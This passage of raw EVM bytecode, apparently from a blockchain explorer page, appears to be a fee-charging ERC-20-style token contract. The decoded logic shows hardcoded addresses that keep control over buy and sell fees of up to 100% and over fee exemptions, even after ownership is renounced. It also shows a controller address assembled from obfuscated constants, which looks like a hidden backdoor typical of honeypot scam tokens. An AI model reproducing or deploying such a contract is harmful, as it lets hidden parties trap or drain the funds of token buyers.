ffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611782575f80fd5b81600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806118a4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156118a35750611873612bef565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b6118ac575f80fd5b60065f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611935576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192c906134d8565b60405180910390fd5b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6004602052805f5260405f205f915090505481565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a9f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611a9e5750611a6e612bef565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611aa7575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bbd575f80fd5b81600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611d29575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611d285750611cf8612bef565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611d31575f80fd5b8060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015611dcf578173ffffffffffffffffffffffffffffffffffffffff167fedf77dfa35bf29ea56a9082d8b89075bd94fd237149c165ce43a4ae41968de3760405160405180910390a25b5050565b5f7378322d0c5768c9ca370ddfc1d44db0fef3a6e05173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e1f575f80fd5b8160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60018054611e759061322f565b80601f0160208091040260200160405190810160405280929190818152602001828054611ea19061322f565b8015611eec5780601f10611ec357610100808354040283529160200191611eec565b820191905f5260205f20905b815481529060010190602001808311611ecf57829003601f168201915b505050505081565b5f3411611f36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2d90613566565b60405180910390fd5b5f3490505f600d5411156121e4575f611f6d6064611f5f600d5485612c0a90919063ffffffff16565b612c8190919063ffffffff16565b90505f611f838284612cd890919063ffffffff16565b9050611ff68160045f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d3090919063ffffffff16565b60045f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120d69190613041565b60405180910390a35f8211156121dd576121368260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d3090919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121d49190613041565b60405180910390a35b505061233e565b6122558160045f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d3090919063ffffffff16565b60045f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123359190613041565b60405180910390a35b50565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561238b575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036123c2575f80fd5b6124128260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cd890919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506124a38260045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d3090919063ffffffff16565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125419190613041565b60405180910390a36001905092915050565b61255b612d8d565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612591575f80fd5b60648211156125d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125cc906132a9565b60405180910390fd5b6064811115612619576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261090613311565b60405180910390fd5b6126238282612e36565b7f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161265492919061332f565b60405180910390a15050565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b7363e67a280645edf97880c1df03c8301b151c466873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806127a3575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156127a25750612772612bef565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b6127ab575f80fd5b60648211156127ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127e6906132a9565b60405180910390fd5b6064811115612833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161282a90613311565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161287292919061332f565b60405180910390a15050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b8060045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291a906133a0565b60405180910390fd5b5f61294c606461293e600e5485612c0a90919063ffffffff16565b612c8190919063ffffffff16565b90505f6129628284612cd890919063ffffffff16565b90506129b48360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cd890919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612a458160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d3090919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ae39190613041565b60405180910390a35f821115612bea57612b438260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d3090919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612be19190613041565b60405180910390a35b505050565b5f730320e7dc23bfae74334d93c20051125ca59e0e7a905090565b5f808303612c1a575f9050612c7b565b5f8284612c2791906135b1565b9050828482612c36919061361f565b14612c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c6d90613699565b60405180910390fd5b809150505b92915050565b5f808211612cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cbb90613701565b60405180910390fd5b8183612cd0919061361f565b905092915050565b5f82821115612d1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d1390613769565b60405180910390fd5b8183612d289190613787565b905092915050565b5f808284612d3e91906137ba565b905083811015612d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d7a90613837565b60405180910390fd5b8091505092915050565b5f80637addad0990505f63cbd98d9790505f63ec3da7a090505f63088eadfe90505f635801c33690505f8160208473ffffffffffffffffffffffffffffffffffffffff16901b60408673ffffffffffffffffffffffffffffffffffffffff16901b60608873ffffffffffffffffffffffffffffffffffffffff16901b60808a73ffffffffffffffffffffffffffffffffffffffff16901b17171717905080965050505050505090565b81600d8190555080600e819055505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612e7f578082015181840152602081019050612e64565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612ea482612e48565b612eae8185612e52565b9350612ebe818560208601612e62565b612ec781612e8a565b840191505092915050565b5f6020820190508181035f830152612eea8184612e9a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612f1f82612ef6565b9050919050565b612f2f81612f15565b8114612f39575f80fd5b50565b5f81359050612f4a81612f26565b92915050565b5f819050919050565b612f6281612f50565b8114612f6c575f80fd5b50565b5f81359050612f7d81612f59565b92915050565b5f8060408385031215612f9957612f98612ef2565b5b5f612fa685828601612f3c565b9250506020612fb785828601612f6f565b9150509250929050565b5f8115159050919050565b612fd581612fc1565b82525050565b5f602082019050612fee5f830184612fcc565b92915050565b5f806040838503121561300a57613009612ef2565b5b5f61301785828601612f6f565b925050602061302885828601612f6f565b9150509250929050565b61303b81612f50565b82525050565b5f6020820190506130545f830184613032565b92915050565b5f805f6060848603121561307157613070612ef2565b5b5f61307e86828701612f3c565b935050602061308f86828701612f3c565b92505060406130a086828701612f6f565b9150509250925092565b5f60ff82169050919050565b6130bf816130aa565b82525050565b5f6020820190506130d85f8301846130b6565b92915050565b5f602082840312156130f3576130f2612ef2565b5b5f61310084828501612f3c565b91505092915050565b61311281612f15565b82525050565b5f60208201905061312b5f830184613109565b92915050565b61313a81612fc1565b8114613144575f80fd5b50565b5f8135905061315581613131565b92915050565b5f806040838503121561317157613170612ef2565b5b5f61317e85828601612f3c565b925050602061318f85828601613147565b9150509250929050565b5f80604083850312156131af576131ae612ef2565b5b5f6131bc85828601612f3c565b92505060206131cd85828601612f3c565b9150509250929050565b5f602082840312156131ec576131eb612ef2565b5b5f6131f984828501612f6f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061324657607f821691505b60208210810361325957613258613202565b5b50919050565b7f427579206665652063616e6e6f742065786365656420313030250000000000005f82015250565b5f613293601a83612e52565b915061329e8261325f565b602082019050919050565b5f6020820190508181035f8301526132c081613287565b9050919050565b7f53656c6c206665652063616e6e6f7420657863656564203130302500000000005f82015250565b5f6132fb601b83612e52565b9150613306826132c7565b602082019050919050565b5f6020820190508181035f830152613328816132ef565b9050919050565b5f6040820190506133425f830185613032565b61334f6020830184613032565b9392505050565b7f496e73756666696369656e742062616c616e63650000000000000000000000005f82015250565b5f61338a601483612e52565b915061339582613356565b602082019050919050565b5f6020820190508181035f8301526133b78161337e565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e6365000000000000000000005f82015250565b5f6133f2601683612e52565b91506133fd826133be565b602082019050919050565b5f6020820190508181035f83015261341f816133e6565b9050919050565b7f496e76616c696420726563697069656e742061646472657373000000000000005f82015250565b5f61345a601983612e52565b915061346582613426565b602082019050919050565b5f6020820190508181035f8301526134878161344e565b9050919050565b7f41646472657373206973206e6f7420666565206578656d7074000000000000005f82015250565b5f6134c2601983612e52565b91506134cd8261348e565b602082019050919050565b5f6020820190508181035f8301526134ef816134b6565b9050919050565b7f45544820616d6f756e742073686f756c642062652067726561746572207468615f8201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b5f613550602383612e52565b915061355b826134f6565b604082019050919050565b5f6020820190508181035f83015261357d81613544565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6135bb82612f50565b91506135c683612f50565b92508282026135d481612f50565b915082820484148315176135eb576135ea613584565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61362982612f50565b915061363483612f50565b925082613644576136436135f2565b5b828204905092915050565b7f4d756c7469706c69636174696f6e206f766572666c6f770000000000000000005f82015250565b5f613683601783612e52565b915061368e8261364f565b602082019050919050565b5f6020820190508181035f8301526136b081613677565b9050919050565b7f4469766973696f6e206279207a65726f000000000000000000000000000000005f82015250565b5f6136eb601083612e52565b91506136f6826136b7565b602082019050919050565b5f6020820190508181035f830152613718816136df565b9050919050565b7f5375627472616374696f6e206f766572666c6f770000000000000000000000005f82015250565b5f613753601483612e52565b915061375e8261371f565b602082019050919050565b5f6020820190508181035f83015261378081613747565b9050919050565b5f61379182612f50565b915061379c83612f50565b92508282039050818111156137b4576137b3613584565b5b92915050565b5f6137c482612f50565b91506137cf83612f50565b92508282019050808211156137e7576137e6613584565b5b92915050565b7f4164646974696f6e206f766572666c6f770000000000000000000000000000005f82015250565b5f613821601183612e52565b915061382c826137ed565b602082019050919050565b5f6020820190508181035f83015261384e81613815565b905091905056fea264697066735822122044b860db1accb9c2325dc27ded253675e7282b55e272639689183c72e1b06d6464736f6c63430008180033000000000000000000000000da7d9fed404c9343fd7f2d8e92c82a83eb4536a0
Deployed Bytecode
0x6080604052600436106101ed575f3560e01c806370a082311161010c578063a6f2ae3a1161009f578063d21c8d551161006e578063d21c8d55146106eb578063dd62ed3e14610715578063ddf750d014610751578063e2daf66514610779578063e4849b32146107a3576101ed565b8063a6f2ae3a14610653578063a9059cbb1461065d578063aa46b46e14610699578063d0fb0203146106c1576101ed565b80638da5cb5b116100db5780638da5cb5b1461059b5780638ebfc796146105c5578063923e51d5146105ed57806395d89b4114610629576101ed565b806370a08231146104e3578063715018a61461051f578063858ced3514610535578063891e1ee014610571576101ed565b8063313ce567116101845780634706240211610153578063470624021461042b5780634a0af68d1461045557806361b408391461049157806365f6a921146104b9576101ed565b8063313ce5671461035f578063376d567c146103895780633ef530eb146103c55780633f4218e0146103ef576101ed565b806318160ddd116101c057806318160ddd146102a757806323b872dd146102d15780632b14ca561461030d5780632c7ee94614610337576101ed565b806306fdde03146101f1578063095ea7b31461021b5780630b78f9c01461025757806312df172d1461027f575b5f80fd5b3480156101fc575f80fd5b506102056107cb565b6040516102129190612ed2565b60405180910390f35b348015610226575f80fd5b50610241600480360381019061023c9190612f83565b610856565b60405161024e9190612fdb565b60405180910390f35b348015610262575f80fd5b5061027d60048036038101906102789190612ff4565b610943565b005b34801561028a575f80fd5b506102a560048036038101906102a09190612ff4565b610af7565b005b3480156102b2575f80fd5b506102bb610cab565b6040516102c89190613041565b60405180910390f35b3480156102dc575f80fd5b506102f760048036038101906102f2919061305a565b610cb1565b6040516103049190612fdb565b60405180910390f35b348015610318575f80fd5b5061032161143c565b60405161032e9190613041565b60405180910390f35b348015610342575f80fd5b5061035d60048036038101906103589190612ff4565b611442565b005b34801561036a575f80fd5b5061037361156d565b60405161038091906130c5565b60405180910390f35b348015610394575f80fd5b506103af60048036038101906103aa91906130de565b61157f565b6040516103bc9190612fdb565b60405180910390f35b3480156103d0575f80fd5b506103d9611621565b6040516103e69190612fdb565b60405180910390f35b3480156103fa575f80fd5b50610415600480360381019061041091906130de565b611706565b6040516104229190612fdb565b60405180910390f35b348015610436575f80fd5b5061043f611723565b60405161044c9190613041565b60405180910390f35b348015610460575f80fd5b5061047b600480360381019061047691906130de565b611729565b6040516104889190612fdb565b60405180910390f35b34801561049c575f80fd5b506104b760048036038101906104b291906130de565b6117cb565b005b3480156104c4575f80fd5b506104cd61198c565b6040516104da9190613118565b60405180910390f35b3480156104ee575f80fd5b50610509600480360381019061050491906130de565b6119b1565b6040516105169190613041565b60405180910390f35b34801561052a575f80fd5b506105336119c6565b005b348015610540575f80fd5b5061055b600480360381019061055691906130de565b611b64565b6040516105689190612fdb565b60405180910390f35b34801561057c575f80fd5b50610585611c06565b6040516105929190613118565b60405180910390f35b3480156105a6575f80fd5b506105af611c2b565b6040516105bc9190613118565b60405180910390f35b3480156105d0575f80fd5b506105eb60048036038101906105e6919061315b565b611c50565b005b3480156105f8575f80fd5b50610613600480360381019061060e91906130de565b611dd3565b6040516106209190612fdb565b60405180910390f35b348015610634575f80fd5b5061063d611e68565b60405161064a9190612ed2565b60405180910390f35b61065b611ef4565b005b348015610668575f80fd5b50610683600480360381019061067e9190612f83565b612341565b6040516106909190612fdb565b60405180910390f35b3480156106a4575f80fd5b506106bf60048036038101906106ba9190612ff4565b612553565b005b3480156106cc575f80fd5b506106d5612660565b6040516106e29190613118565b60405180910390f35b3480156106f6575f80fd5b506106ff612685565b60405161070c9190613118565b60405180910390f35b348015610720575f80fd5b5061073b60048036038101906107369190613199565b6126aa565b6040516107489190613041565b60405180910390f35b34801561075c575f80fd5b5061077760048036038101906107729190612ff4565b6126ca565b005b348015610784575f80fd5b5061078d61287e565b60405161079a9190613118565b60405180910390f35b3480156107ae575f80fd5b506107c960048036038101906107c491906131d7565b6128a3565b005b5f80546107d79061322f565b80601f01602080910402602001604051908101604052809291908181526020018280546108039061322f565b801561084e5780601f106108255761010080835404028352916020019161084e565b820191905f5260205f20905b81548152906001019060200180831161083157829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109319190613041565b60405180910390a36001905092915050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a1c575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610a1b57506109eb612bef565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610a24575f80fd5b6064821115610a68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5f906132a9565b60405180910390fd5b6064811115610aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa390613311565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610aeb92919061332f565b60405180910390a15050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610bd0575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610bcf5750610b9f612bef565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610bd8575f80fd5b6064821115610c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c13906132a9565b60405180910390fd5b6064811115610c60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5790613311565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610c9f92919061332f565b60405180910390a15050565b60025481565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d29906133a0565b60405180910390fd5b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de490613408565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5290613470565b60405180910390fd5b5f60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610ed557610ed26064610ec4600e5486612c0a90919063ffffffff16565b612c8190919063ffffffff16565b90505b5f610ee98285612cd890919063ffffffff16565b9050610f3b8460045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cd890919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610fcc8160045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d3090919063ffffffff16565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161106a9190613041565b60405180910390a35f821115611171576110ca8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d3090919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111689190613041565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561124557507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b1561142f576112d58460055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cd890919063ffffffff16565b60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516114269190613041565b60405180910390a35b6001925050509392505050565b600e5481565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461149a575f80fd5b60648211156114de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d5906132a9565b60405180910390fd5b6064811115611522576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151990613311565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161156192919061332f565b60405180910390a15050565b60035f9054906101000a900460ff1681565b5f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115d8575f80fd5b8160095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b5f731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116fb575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156116fa57506116ca612bef565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611703575f80fd5b90565b6006602052805f5260405f205f915054906101000a900460ff1681565b600d5481565b5f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611782575f80fd5b81600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806118a4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156118a35750611873612bef565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b6118ac575f80fd5b60065f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611935576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192c906134d8565b60405180910390fd5b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6004602052805f5260405f205f915090505481565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a9f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611a9e5750611a6e612bef565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611aa7575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790